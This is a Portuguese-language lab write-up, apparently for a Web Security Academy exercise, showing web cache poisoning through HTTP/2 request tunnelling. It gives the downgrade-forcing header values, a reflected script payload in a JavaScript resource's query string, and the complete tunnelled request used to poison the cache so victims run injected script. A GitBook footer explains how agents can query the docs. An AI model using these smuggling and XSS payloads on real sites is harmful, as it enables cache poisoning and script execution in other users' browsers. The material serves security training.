> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/web-cache-poisoning-via-http-2-request-tunnelling.md).

# Envenenamento de Cache Web via Tunelamento de Requisição HTTP/2

### Envenenamento de cache da web por meio de tunelamento de requisições HTTP/2

Este laboratório é vulnerável ao smuggling de requisições porque o servidor frontal rebaixa as requisições HTTP/2 para HTTP/1.1 e não limpa corretamente alguns cabeçalhos de entrada. / O objetivo é envenenar o cache para que, quando a vítima visitar a página inicial, o navegador dela execute `alert(1)`. / Um usuário vítima acessa automaticamente a página a cada 15 segundos.

O servidor frontal não reutiliza conexões com o back-end. Portanto, ataques clássicos de smuggling não funcionam, mas o tunelamento de requisições continua utilizável.

Há um mecanismo de cache na página inicial.

<figure><img src="/files/c0a5af930238757eda9f63c86ae75783d1f645a1" alt=""><figcaption></figcaption></figure>

#### Forçar um rebaixamento para HTTP/1.1

Nos cabeçalhos, uma interpretação HTTP/1.1 pode ser imposta construindo o seguinte tipo:

{% code title="Valor" %}

```http
/post HTTP/1.1
Teste:
```

{% endcode %}

Embora isso gere um erro indicando que o `Teste` cabeçalho não existe, isso mostra que a requisição é reinterpretada pelo frontal.

<figure><img src="/files/eda1cdefe2447c59444220810082a7c8589918f4" alt=""><figcaption></figcaption></figure>

#### Injeção em um recurso estático

Ao direcionar o arquivo JavaScript do laboratório, observamos que adicionar um parâmetro semelhante a script é refletido na resposta

```http
/resources/labheader/js?<script>alert(0)</script>
```

O recurso, portanto, é sensível ao envenenamento de cache.

<figure><img src="/files/88225a90616ac439a87fccbdbf0e2015d5c73508" alt=""><figcaption></figcaption></figure>

#### Construção da Requisição Tunelizada

Em seguida, envie uma requisição adicional encapsulando uma nova consulta HTTP/1.1 no corpo:

```http
/ HTTP/1.1
Teste: testing

GET /resources/labheader/js?<script>alert(0)</script>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: 0a5f0056044523a1803062c000bb00e3.web-security-academy.net
```

Esta carga é reinterpretada pelo servidor após o tunelamento. / O conteúdo injetado é reescrito na resposta do recurso JavaScript, permitindo envenenar o cache.

Quando a vítima revisita a página inicial, o navegador dela carrega esta versão envenenada e executa `alert(1)`.

<figure><img src="/files/b2d6e33b667df1c61da32066560fab29cc88cb75" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/web-cache-poisoning-via-http-2-request-tunnelling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
